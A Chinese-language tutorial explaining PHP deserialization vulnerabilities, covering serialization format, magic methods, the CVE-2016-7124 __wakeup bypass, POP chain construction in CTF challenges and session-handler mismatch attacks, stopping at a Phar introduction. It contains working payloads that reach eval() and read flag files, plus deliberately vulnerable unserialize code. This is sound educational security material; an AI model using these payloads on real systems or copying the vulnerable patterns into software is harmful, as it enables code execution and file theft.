由浅入深理解PHP反序列化漏洞


前言

笔者参考各位师傅的文章自己做的一点点小总结,因笔者本人太菜,可能很多别的反序列化的方面一些漏洞姿势没有概括到,后面碰到再补上吧。如果有什么写的不好的地方,请各位师傅指正,谢谢~

什么是序列化和反序列化

什么是序列化

大家肯定都知道json数据,每组数据使用,分隔开,数据内使用:分隔

<?php 
$arr = array("No1"=>"m0c1nu7","No2"=>"mochu7","No3"=>"chumo");
echo json_encode($arr);
PS C:\Users\Administrator\Desktop\Test\php> php .\test1.php
{"No1":"m0c1nu7","No2":"mochu7","No3":"chumo"}

可以看到json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,那么这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化

PHP序列化

php从PHP 3.05开始,为保存、传输对象数据提供了一组序列化函数serialize()unserialize()

serialize()     //将一个对象转换成一个字符串
unserialize()   //将字符串还原为一个对象

php的序列化也是一个将各种类型的数据,压缩并按照一定的格式进行存储的过程,所使用的函数是serialize()

那么PHP的序列化又是怎样的呢?看下面这个例子:

//test2.php
<?php 
class People{
	public $id;
	protected $gender;
	private $age;
	public function __construct(){
		$this->id = 'm0c1nu7';
		$this->gender = 'male';
		$this->age = '19';
	}
}
$a = new People();
echo serialize($a);
?>
PS C:\Users\Administrator\Desktop\Test\php> php .\test2.php
O:6:"People":3:{s:2:"id";s:7:"m0c1nu7";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"19";}

在这里插入图片描述

PHP序列化注意以下几点:

  1. 序列化只序列属性,不序列方法
  2. 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
  3. 我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

序列化格式

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

属性不同的访问类型的序列化区别

在这里插入图片描述
$idpublic类型、$genderprotected类型、$ageprivate类型
从上面的图中可以发现,public类型的$id属性序列化结果和另外两个属性的不太一样,这就涉及到不同权限的属性序列化问题
其实我们看图中,主要是属性名的序列化结果不同,属性值还是正常的序列化格式

Public
public属性就是标准的序列化结果,属性类型:属性名长度:属性名

Protected
protected属性名序列化结果:s:9:" * gender",属性名前有不见字符,用hexdump看一下
在这里插入图片描述
可以看到protected属性序列化之后的属性名前会多出个\00*\00或者写成%00*%00

Private
private属性序列结果s:11:" People age",用hexdump看一下
在这里插入图片描述
可以看到private属性序列化之后会在属性名前加上类名People,而且在类名的两侧会加上\00或者说%00

PHP反序列化

反序列化就是将序列化格式化存储好的的字符还原成对象的过程

//test1.php
<?php 
$str = 'O:6:"People":3:{s:2:"id";s:7:"m0c1nu7";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"19";}';
var_dump(unserialize($str));
 ?>
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(6) "People"
  ["id"]=>
  string(7) "m0c1nu7"
  [" * gender"]=>
  string(4) "male"
  [" People age"]=>
  string(2) "19"
}
PS C:\Users\Administrator\Desktop\Test\php> 

来个看网上找的个简单的例子,为了更加凸显漏洞效果我修改了点下代码,看看反序列化是如何控制属性达到漏洞利用的效果的

<?php
class Hello
{   
    public $hello = "Welcome!!!";
    private $flag = "echo 'No Way!';";

    public function set_flag($flag)
    {
        $this->flag = $flag;
    }
    public function get_flag()
    {
        return eval($this->flag);
    }
}

$data = file_get_contents("serialize.txt");
$data = unserialize($data);
echo $data->hello."<br>";
echo $data->get_flag();

可以发现漏洞点是set_flag()使用了外部接受的参数对类内的私有属性$flag进行了赋值,而get_flag()又使用了eval()函数执行了$flag导致漏洞。漏洞成因看了接下来就是构造POC,只需对set_flag()传入一个参数即可

<?php
class Hello
{   
    public $hello = "Welcome!!!";
    private $flag = "echo 'No Way!';";

    public function set_flag($flag)
    {
        $this->flag = $flag;
    }
    public function get_flag()
    {
        return $this->flag;
    }
}

$object = new Hello();
$object->set_flag('phpinfo();');
$data = serialize($object);

这是把$object->set_flag('phpinfo();');这段代码注释的效果
在这里插入图片描述
序列化字符:
O:5:"Hello":2:{s:5:"hello";s:10:"Welcome!!!";s:11:" Hello flag";s:15:"echo 'No Way!';";}

下面这是poc利用效果
在这里插入图片描述
序列化字符:
O:5:"Hello":2:{s:5:"hello";s:10:"Welcome!!!";s:11:" Hello flag";s:10:"phpinfo();";}

这里还可以修改其他属性的值,例如:
O:5:"Hello":2:{s:5:"hello";s:17:"Hacker By m0c1nu7";s:11:"Helloflag";s:10:"phpinfo();";}
在这里插入图片描述

PHP为什么要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:那就是PHP对象传递的一个问题
我们都知道PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁。
那如果刚好要用到销毁的对象难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化
从上文中可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

魔术方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。
在PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

__toString()这个魔术方法能触发的因素太多,觉得有必要需要列一下:

  1. echo($obj)/print($obj)打印时会触发

  2. 反序列化对象与字符串连接时

  3. 反序列化对象参与格式化字符串时

  4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

  5. 反序列化对象参与格式化SQL语句,绑定参数时

  6. 反序列化对象在经过php字符串处理函数,如strlen()strops()strcmp()addslashes()

  7. in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用

  8. 反序列化的对象作为class_exists()的参数的时候

通过个简单的例子来理解一下魔术方法是如何触发的,代码如下:

<?php 
class M0c1nu7{
	private $name = 'M0c1nu7';
	function __construct(){
		echo "__construct";
		echo "\n";
	}

	function __sleep(){
		echo "__sleep";
		echo "\n";
		return array("name");
	}

	function __wakeup(){
		echo "__wakeup";
		echo "\n";
	}

	function __destruct(){
		echo "__destruct";
		echo "\n";
	}

	function __toString(){
		return "__toString"."\n";;
	}
}

$M0c1nu7_old = new M0c1nu7;
$data = serialize($M0c1nu7_old);
$M0c1nu7_new = unserialize($data);
echo $M0c1nu7_new;     //这里使用print也可触发__toString()方法

来看一下运行结果:

PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
__construct
__sleep
__wakeup
__toString
__destruct
__destruct

首先new实例化了这个类,创建了对象,这就肯定会有一个__construct()方法和__destruct(),然后使用了serialize()unserialize()函数就肯定会有__sleep()方法和__wakeup()方法,然后又因为使用了echoprint这样的把对象输出为一个字符串的操作,所以就触发了__toString()方法,那么还有另外一个__destruct()方法是怎触发的呢?其实这个__destruct()方法时unserialize()函数反序列化生成的对象销毁的时候触发的,前面已经讲了对象都会在程序执行完成之后销毁

魔术方法在反序列化攻击中的作用

我们都知道反序列化的入口是在unserialize(),只要参数可控并且这个类在当前作用域存在,我们就能传入任何已经序列化的对象。而不是局限于出现unserialize()函数的类的对象,如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果你没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击

但是利用魔术方法就可以扩大了攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的

通过下面这个例子再来理解一下魔术方法在反序列漏洞中的作用,代码如下:

<?php
class M0c1nu7{
    public $M0c1nu7 = 'I am M0c1nu7';
    private $test;

    function __construct(){
        $this->test = new Welcome();
    }

    function __destruct(){
        $this->test->action();
    }
}

class Welcome{
    function action(){
        echo "Welcome to here";
    }
}

class Evil{
    var $test2;
    function action(){
        eval($this->test2);
    }
}

unserialize($_GET['str']);
?>

首先来分析一下代码,主要是看哪里的属性可控,并且哪里有对象调用方法的操作,我们的目的很清楚,就是要调用Evil类中的
action()方法,并且控制Evil类中的$test2这个属性。可以看到M0c1nu7类中的魔术方法__construct有把对象赋到$teset属性上,然后在__destruct()有调用action()方法的操作,那就这思路就很清晰了,POC如下:

<?php 
class M0c1nu7{
	private $test;
	function __construct(){
		$this->test = new Evil;
	}
}

class Evil{
	var $test2 = 'phpinfo();';
}

$M0c1nu7 = new M0c1nu7();
$data = serialize($M0c1nu7);
echo $data;
?>
PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
O:7:"M0c1nu7":1:{s:13:" M0c1nu7 test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

注意:``$test是私有方法,传入反序列化字符的时候,应该在前面的类名两侧加上%00,payload如下:

?str=O:7:"M0c1nu7":1:{s:13:"%00M0c1nu7%00test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

在这里插入图片描述

__wakeup绕过(CVE-2016-7124)

CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
笔者使用phpstudy_pro测试出来的影响版本:
PHP5 <= 5.6.9
PHP7 < 7.0.10

通过一道题目来理解一下:

//test.php
<?php
class MoChu{
	protected $file="test.php";
	function __destruct(){
		if(!empty($this->file)){
			if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)
				show_source(dirname(__FILE__).'/'.$this->file);
			else
				die('Worng filename.');
		}
	}
	function __wakeup(){
		$this->file = 'test.php';
	}
	public function __toString(){
		return '';
	}
}

if(!isset($_GET['file'])){
	show_source('test.php');
}else{
	$file=base64_decode($_GET['file']);
	echo unserialize($file);
}
echo phpversion();
?>  

代码很简单就是原本的功能就是显示源码,主要是这里如何绕过反序列化之后执行的__wakeup()方法中的$this->file='test.php'来读取别的文件,这里就是使用CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

//poc.php
<?php 
class MoChu{
	protected $file = 'flag.php';
}
$a = new MoChu();
echo serialize($a);
?>

运行结果:

PS C:\Users\Administrator\Desktop\Test\php> php -f .\test1.php
O:5:"MoChu":1:{s:7:" * file";s:8:"flag.php";}

注意:

  1. fileprotected类型的属性,反序列化需要在属性名前加上\00*\00
  2. 这里使用了\00就是使用了转义的二进制字符串,在前面序列化的格式已经提及使用了转义的二进制字符串,符号是要使用大写的S

最终得到的反序列化字符:

O:5:"MoChu":2:{S:7:"\00*\00file";s:8:"flag.php";}

得到的base64:Tzo1OiJNb0NodSI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
在这里插入图片描述
可以看到,PHP 5.6.9虽然报错了,但是还是读出了源码

POP链的构造

POP全称Property-Oriented Programing面向属性编程,用于上层语言构造特定调用链的方法,玩pwn的肯定都知道ROP全称Return-Oriented Progaming面向返回编程

POPROP原理相似,都是从现有的环境中寻找一系列的代码或指令调用,然后根据需求构成一组连续的调用链。在控制代码或程序的执行流程后就能够使用这一组调用链来执行一些操作

在二进制利用时,ROP链构造中时寻找当前系统环境中或内存环境中已经存在的、具有固定地址且带有返回操作的指令集

POP链构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作

二进制中通常是由于内存溢出控制了指令执行流程、而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用于输入所控制

一般序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码在没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP连寻找相同的函数名将类的属性和敏感函数的属性联系起来

通过下面几道题尝试深入理解一下POP链的构造

<?php
class C1e4r{
    public $test;
    public $str;
    public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo $this->source;
    }
    public function __toString(){
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function _show(){
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup(){
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $file;
    public $params;
    public function __construct(){
        $this->params = array();
    }

    public function __get($key){
        return $this->get($key);
    }

    public function get($key){
        if(isset($this->params[$key])){
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }

    public function file_get($value){
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}


show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>

我们首先确定目标就是Test::file_get()里面的file_get_contents()读取文件,可以看到get()方法中调用了file_get()方法,接下来看一下哪里有调用get(),发现在魔术方法__get()中调用了get()那么现在的POP链是:

Test::__get()->Test::get()->Test::file_get()

接下来首先必须知道__get()的触发条件:读取不可访问属性的值时,这里的不可访问包含私有属性或未定义,接着看一下哪里触发了魔术方法__get(),在Show::__toString()中出现了未定义属性$content并对其进行赋值,这样就会触发__get()方法,利用的时候只需把Test对象赋值给$this->str['str'],接下来看一下哪里会触发__toString()方法,在C1e4r:__destruct()echo操作,这样就触发了__toString(),那么完整的POP链如下:

Cle4r::str->Show::str['str']->Test::__get->Test::get()::Test::file_get()

构造利用脚本如下:

<?php
class C1e4r{
  public $test;
  public $str;
  public function __construct($name){
        $this->str = $name;
    }
    public function __destruct(){
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show{
  public $str;
  public $source;
  public function __toString(){
        $content = $this->str['str']->source;
        return (string)$content;
    }
}

class Test{
  public $file;
  public $params;
}

$T=new Test();
$T->params=array('source'=>'D:\phpstudy_pro\WWW\Test\flag.php');//这里好像只能使用绝对路径才能读取到
$S=new Show();
$S->str=array('str'=>$T);
$C=new C1e4r($S);
echo serialize($C);
?>

再来看一题,代码如下:

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['str'];
unserialize($a);
?>

这里的POP链也很简单,首先我们的目标是GetFlag::get_flag(),在string1::__toString()调用了get_flag(),这里把GetFlag类对象赋值给$str1即可
func::__invoke()有字符串和属性拼接的操作,我们只需要将string1的类对象赋值给$mod1即可触发__toString()方法,接着看哪里触发了__invoke()方法
__invoke():当尝试以调用函数的方式调用一个对象时触发funct::__call()中有$s1()调用函数方式,而$s1 = $this->mod1;,所以只需要把func类对象赋值给$mod1即可触发__invoke(),接下来看如何触发__call()
__call():在对象上下文中调用不可访问的方法时触发,在Call::test1()存在调用未定义的不可访问方法,将funct类对象赋值给$mod1,然后start_gg::__destruct()调用了Call::test(),把Call类对象赋值给$mod1即可,整个POP链如下:

start_gg::__destruct()->Call::test1()->funct::__call()->func::__invoke()::string1::__toString()->GetFlag::get_flag()

利用脚本如下:

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1赋值为Call类对象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1赋值为funct类对象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1赋值为func类对象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }
        public function __invoke()
        {        
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象

反序列化结果字符串:

O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

验证结果如下:
在这里插入图片描述

PHP Session反序列化漏洞

什么是PHP Session?

首先来了解一下什么是session

session在计算机网络应用中称为会话控制。创建于服务器端,保存于服务器。session对象存储特定用户所需的属性及配置信息。简单来说就是一种客户与服务器更为安全的对话方式。一旦开启了session会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建议一种对话机制

什么是PHP session

PHP session可以看作是一个特殊的变量,且该变量适用于存储关于用户的会话信息,或者更改用户会话的设置,需要注意的是,PHP session变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且对应的具体session值会存储于服务器端,这也是与cookie的主要区别,所以session的安全性相对较高

PHP session工作流程

在这里插入图片描述
当开始一个会话时,PHP会尝试从请求中查找会话ID,通常是使用cookie,如果请求包中未发现session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在响应包头中通过set-cookie参数发给客户端保存

当客户端cookie被禁用的情况下,PHP会自动将session id添加到url参数formhidden字段中,但这需要php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set()函数来设置这个配置项

PHP session会话开始之后,PHP就会将会话中的数据设置到$_SESSION变量中,当PHP停止运行时,它会自动读取$_SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。默认情况下,PHP使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项session.save_handler来修改所要采用的会话保存管理器。对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置

<?php 
session_start();
if (!isset($_SESSION['username'])){
    $_SESSION['username'] = 'm0c1nu7';
}
 ?>

在这里插入图片描述

PHP Session在php.ini中的有关配置

以笔者本地环境的php.ini例:phpstudy_proPHP 7.4.3
只列出一些关于php session的配置:

session.serialize_handler = php       //定义用来session序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp"       //session的存储路径
session.save_handler = files       //该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start = 0       //指定会话模块是否在请求开始时启动一个会话,默认值为0不启动

PHP session 不同引擎的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的session存储的文件名为ci_sessionSESSIONID

session.serialize_handler定义的引擎共有三种:

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize经过serialize()函数序列化处理的数组

注:自PHP 5.5.4起可以使用php_serialize

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|!)

来看一下三种不同的session序列化处理器的处理结果

session.serialize_handler = php,序列化引擎为php

序列化存储格式:键名 + 竖线 + 经过serialize()函数序列化处理的值

<?php 
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
 ?>

在这里插入图片描述
序列化结果:session|s:7:"m0c1nu7";
session$_SESSION['session']键名,|后为序列化格式字符串

session.serialize_handler = php_binary,序列化引擎为php_binary

序列化存储格式:键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值

<?php 
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['php_binary_sessionsessionsession_hhhhh'] = $_GET['session'];

 ?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为3838对应ASCII为&

在这里插入图片描述
序列化结果:&php_binary_sessionsessionsession_hhhhhs:7:"m0c1nu7";

session.serialize_handler = php_serialize,序列化引擎为php_serialize

序列化存储格式:经过serialize()函数序列化处理的数组

<?php 
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];

 ?>

在这里插入图片描述
序列化结果:a:1:{s:7:"session";s:7:"m0c1nu7";}

a:1表示$_SESSION数组中有1个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

PHP session反序列化漏洞形成原理

反序列化的各个处理器本身是没有问题的,但是如果phpphp_serialize这两个处理区混合起来使用,就会出现session反序列化漏洞。原因是php_serialize存储的反序列化字符可以引用|,如果这时候使用php处理器的格式取出$_SESSION的值,|会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞

举个简单的例子
定义一个session.php,用于传入session的值

//session.php
<?php 
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
 ?>

首先看一下session的内容
在这里插入图片描述
a:1:{s:7:"session";s:10:"helloworld";}

再定义一个class.php

//class.php
<?php 
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Hello{
	public $name = 'mochu';
	function __wakeup(){
		echo "Who are you?";
	}
	function __destruct(){
		echo "<br>".$this->name;
	}
}
$str = new Hello();
 ?>

访问该页面回显以下内容:
实例化对象之后回显mochu
在这里插入图片描述
session.php文件处理器是php_serializeclass.php文件的处理器是phpsession.php文件的作用是传入可控的session值,class.php文件的作用是在反序列化开始触发__wakeup方法的内容,反序列化结束的时候触发__destruct()方法

漏洞利用就是在session.php的可控点传入|+序列化字符串,然后再次访问class.php调用session值的时候会触发

利用脚本如下:

<?php
class Hello{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
}
    $str = new Hello();
    $str->name = "m0c1nu7";
    echo serialize($str);
  ?>

在这里插入图片描述
传入session.php的payload:|O:5:"Hello":1:{s:4:"name";s:7:"m0c1nu7";}
在这里插入图片描述
查看存储的session
在这里插入图片描述
a:1:{s:7:"session";s:42:"|O:5:"Hello":1:{s:4:"name";s:7:"m0c1nu7";}";}
然后再次访问class.php
在这里插入图片描述
可以发现如果程序中设置了不同的session序列化引擎,通过控制session传入点,攻击者可以把构造好的序列化字符串拼接进session存储文件中,当再次调用session时触发并反序列化导致形成漏洞

session反序列化练习

笔者本地测试的时候没有复现成功,不知道原因(如果你本地复现成功,麻烦评论区指教一下,谢谢)所以还是别人原来的题目环境吧
题目地址:http://web.jarvisoj.com:32784/index.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('sessiontest.php'));
}
?>

代码很简单就不解读了,先看一下phpinfo()的信息,先查看一下session.serialize_handler
在这里插入图片描述
php.ini中使用的引擎是php_serialize,而程序中使用的引擎是php,这就导致session序列化反序列化使用的引擎不同,接下来来看看这个选项
在这里插入图片描述

PHP手册
Session 上传进度
session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值

构造POST表单,提交传入序列化字符串

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="m0c1nu7" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

构造利用脚本

<?php
class OowoO
{
    public $mdzz='echo(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);
echo $a;
?>

运行结果:

PS D:\phpstudy_pro\WWW\Test> php -f .\test7.php
O:5:"OowoO":1:{s:4:"mdzz";s:24:"echo(dirname(__FILE__));";}

将序列化结果使用符号|进行拼接到服务器中的session序列化保存文件中
在这里插入图片描述
因为要放到filename中的双引号中,所以这里转义一下双引号:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"echo(dirname(__FILE__));\";}

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}
在这里插入图片描述
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
在这里插入图片描述
再来看安恒杯的一道题,但是本地还是无法复现成功,看一下解题过程吧:

<?php
//test.php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __destruct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}

class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __destruct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
?>
<?php
//index.php
ini_set('session.serialize_handler', 'php');

require("./test.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

首先来分析一下代码把,目标是调用foo3::execute(),然后在foo2::__toString()中调用了execute(),那就把foo3的类对象赋值给foo2:$obj,然后再看一下哪里触发了__toString(),可以发现在foo1:__destruct()有使用echo将对象输出为字符的操作,这里会触发__toString(),把foo2类对象赋值给foo1:$varr
POP链为:foo1::__destruct()->foo2::__toString()->foo3::execute()

<?php
class foo3{
        public $varr='echo "spoock";';
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}

class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}

$obj = new foo1();
print_r(serialize($obj));
?>
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

写入方式主要是利用PHP中Session Upload Progress来进行设置,提交一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋到session

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="m0c1nu7" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包修改filename即可,注意在开头添加符号|以及双引号转义,最终payload:

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:10:\"1234567890\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:14:\"echo \"spoock\";\";}}}

因为最终无法本地复现达到效果,就不演示了,原理就是这样

拓展PHP反序列化攻击面:Phar反序列化漏洞

什么是Phar?

在这里插入图片描述
PharPhp archive
Phar(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源捆绑到一个归档文件中来实现应用程序和库的分发,类似于JAVA JAR的一种打包文件,自PHP 5.3.0起,PHP默认开启对后缀为.phar的文件的支持

官方解释(译文):
phar扩展提供了一种将整个PHP应用程序放入称为phar(php归档文件)的单个文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和处理tarzip文件
